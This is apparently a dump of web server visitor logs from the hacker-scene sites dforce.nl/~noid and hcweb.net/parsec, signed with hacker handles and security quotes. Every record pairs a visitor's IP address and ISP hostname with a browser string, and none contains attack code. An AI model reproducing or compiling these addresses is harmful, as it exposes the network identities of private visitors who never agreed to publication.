|ippool2.ppp-19.planetcomm.net|63.115.92.51|http://www.dforce.nl/~noid/topba r.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|45|29|5|5|3|101|4|94| |ippool2.ppp-19.planetcomm.net|63.115.92.51|http://www.dforce.nl/~noid/topba r.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|52|32|5|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|21|49|5|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|2|29|6|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|29|49|6|5|3|101|4|94| |cr965848-a.poco1.bc.wave.home.com|24.113.161.173|http://www.dforce.nl/~noid /|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5|12|9|7|5|3|101|4|94| |ip71.los-angeles49.ca.pub-ip.psi.net|38.29.176.71|http://www.dforce.nl/~noi d/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|19|11|7|5|3|101|4|94| |ippool4.ppp-12.planetcomm.net|63.115.92.108|http://www.dforce.nl/~noid/|htt p://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|8|16|7|5|3|101|4|94| |sppn_svr.sppn.com|12.11.170.228|http://www.dforce.nl/~noid/|http://www.dfor ce.nl/~noid/|Mozilla/4.75 [en] (X11; U; Linux 2.2.17-21mdk i686)|15|18|7|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|3|21|7|5|3|101|4|94| |1cust130.tnt14.hou3.da.uu.net|63.28.143.130|http://www.dforce.nl/~noid/|htt p://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)|36|4|8|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|||Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|54|13|8|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|1|14|8|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|5|15|8|5|3|101|4|94| |ip22.los-angeles47.ca.pub-ip.psi.net|38.29.55.22|http://www.dforce.nl/~noid /|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|16|15|8|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://hcweb.net/pa rsec/|http://hcweb.net/parsec/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|18|15|8|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://hcweb.net/pa rsec/|http://hcweb.net/parsec/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|36|15|8|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://hcweb.net/pa rsec/|http://hcweb.net/parsec/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|48|15|8|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|5|30|8|5|3|101|4|94| |cr965848-a.poco1.bc.wave.home.com|24.113.161.173|http://www.dforce.nl/~noid /|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5|57|52|8|5|3|101|4|94| |cr965848-a.poco1.bc.wave.home.com|24.113.161.173|http://www.dforce.nl/~noid /|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5|23|8|9|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|53|26|10|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|53|28|10|5|3|101|4|94| |212.95.17.13|212.95.17.13|http://www.dforce.nl/~noid/topbar.htm|http://www. dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)|15|29|10|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|19|30|10|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|35|40|10|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|16|44|10|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|22|52|10|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|18|12|11|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|36|22|11|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|31|24|11|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|42|27|11|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|57|29|11|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|45|30|11|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|58|36|11|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|33|41|11|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|9|43|11|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|34|44|11|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|20|50|11|5|3|101|4|94| |chello213047125244.14.univie.teleweb.at|213.47.125.244|http://www.dforce.nl /~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)|11|52|11|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|16|10|12|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.74 [en] (X11; U; Linux 2.2.16 i686)|53|25|12|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|44|32|12|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|28|34|12|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|12|42|12|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://hcweb.net/pa rsec/|http://hcweb.net/parsec/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|34|42|12|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|44|42|12|5|3|101|4|94| |213.73.10.146|213.73.10.146|http://hcweb.net/parsec/|http://hcweb.net/parse c/|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|7|30|13|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://hcweb.net/pa rsec/topbar.htm|http://hcweb.net/parsec/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|33|42|13|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://hcweb.net/pa rsec/topbar.htm|http://hcweb.net/parsec/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|48|44|13|5|3|101|4|94| |chello213047125244.14.univie.teleweb.at|213.47.125.244|http://www.dforce.nl /~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)|30|5|14|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|7|46|14|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|0|53|14|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|0|54|14|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|4|0|14|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://hcweb.net/pa rsec/topbar.htm|http://hcweb.net/parsec/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|11|1|14|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|29|2|14|5|3|101|4|94| |cb269254-c.rmvll1.il.home.com|24.182.140.184|http://www.dforce.nl/~noid/top bar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)|46|59|14|5|3|101|4|94| |ippool4.ppp-12.planetcomm.net|63.115.92.108|http://www.dforce.nl/~noid/topb ar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|57|16|16|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|17|48|16|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|49|52|16|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|26|54|16|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://hcweb.net/pa rsec/topbar.htm|http://hcweb.net/parsec/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|52|54|16|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|37|0|17|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|46|14|17|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|59|38|17|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|33|41|17|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|40|54|17|5|3|101|4|94| |chello212186142048.15.univie.teleweb.at|212.186.142.48|http://www.dforce.nl /~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)|46|58|17|5|3|101|4|94| |chello212017105246.klafu.surfer.at|212.17.105.246|http://hcweb.net/parsec/t opbar.htm|http://hcweb.net/parsec/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)|22|14|18|5|3|101|4|94| |alpha226.emu.edu|205.132.40.226|http://www.dforce.nl/~noid/topbar.htm|http: //www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|37|30|18|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|41|5|19|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|6|40|19|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|53|40|19|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|33|48|20|5|3|101|4|94| |chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|58|48|20|5|3|101|4|94| |234.ppp138.rsd.worldonline.se|213.204.138.234|http://www.dforce.nl/~noid/to pbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|50|50|20|5|3|101|4|94| |tk212017124232.teleweb.at|212.17.124.232|http://www.hcweb.net/parsec/topbar .htm|http://www.hcweb.net/parsec/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)|6|52|20|5|3|101|4|94| |205.247.206.135|205.247.206.135|http://www.dforce.nl/~noid/topbar.htm|http: //www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|26|58|21|5|3|101|4|94| |63.118.228.200|63.118.228.200|http://www.dforce.nl/~noid/topbar.htm|http:// www.dforce.nl/~noid/topbar.htm|Mozilla/5.0 (X11; U; Linux 2.2.16-22 i686; en-US; m18) Gecko/20001107 Netscape6/6.0|3|59|21|5|3|101|4|94| |cr965848-a.poco1.bc.wave.home.com|24.113.161.173|http://www.dforce.nl/~noid /topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)|42|59|21|5|3|101|4|94| |a030-0010.mle2.splitrock.net|63.253.108.10|http://www.dforce.nl/~noid/topba r.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 4.01; Windows 98; Compaq)|10|1|22|5|3|101|4|94| |200.246.54.160|200.246.54.160|http://www.dforce.nl/~noid/topbar.htm|http:// www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)|11|2|22|5|3|101|4|94| |adsl-216-63-20-97.dsl.kscymo.swbell.net|216.63.20.97|http://www.dforce.nl/~ noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1; NetCaptor 6.5.0B1)|21|3|22|5|3|101|4|94| |200.190.26.88|200.190.26.88|http://www.dforce.nl/~noid/topbar.htm|http://ww w.dforce.nl/~noid/topbar.htm|Mozilla/4.08 [en] (WinNT; U ;Nav)|16|5|22|5|3|101|4|94| |cr965848-a.poco1.bc.wave.home.com|24.113.161.173|http://www.dforce.nl/~noid /topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)|10|16|22|5|3|101|4|94| |cp14275-a.dbsch1.nb.nl.home.com|217.120.37.45|http://www.dforce.nl/~noid/to pbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|43|7|23|5|3|101|4|94| |cr965848-a.poco1.bc.wave.home.com|24.113.161.173|http://www.dforce.nl/~noid /topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)|34|8|23|5|3|101|4|94| |adsl-61-102-4.mem.bellsouth.net|208.61.102.4|http://www.dforce.nl/~noid/top bar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)|10|9|23|5|3|101|4|94| |61.12.0.102|61.12.0.102|http://www.dforce.nl/~noid/topbar.htm|http://www.df orce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; Win 9x 4.90)|40|19|23|5|3|101|4|94| |cr267623-a.surrey1.bc.wave.home.com|24.113.85.182|http://www.dforce.nl/~noi d/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; AtHome0107)|55|22|23|5|3|101|4|94| |host-216-76-237-71.hsv.bellsouth.net|216.76.237.71|http://www.dforce.nl/~no id/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.75 [en] (X11; U; Linux 2.2.16-22 i686)|6|26|23|5|3|101|4|94| |tauser13.tevel.co.il|207.232.22.13|http://www.dforce.nl/~noid/topbar.htm|ht tp://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)|43|26|23|5|3|101|4|94| |ottawa-ppp-198742.sympatico.ca|209.226.118.11|http://www.dforce.nl/~noid/to pbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.7 [en]C-SYMPA (Win98; U)|2|27|23|5|3|101|4|94| ____________________________________________________________________________ ____ Credits: ____________________________________________________________________________ ____ NtWak0 Manipulat0r ____________________________________________________________________________ ____ The only secure computer is one that's unplugged, locked in a safe, and buried 20 feet under the ground in a secret location... and i'm not even too sure about that one"--Dennis Huges, FBI. "The truly dangerous people," , "are hacking away in the background, drowned out by the noise and pomp that the script kiddies and denial-of-service packet monkeys have been making." ____________________________________________________________________________ ____
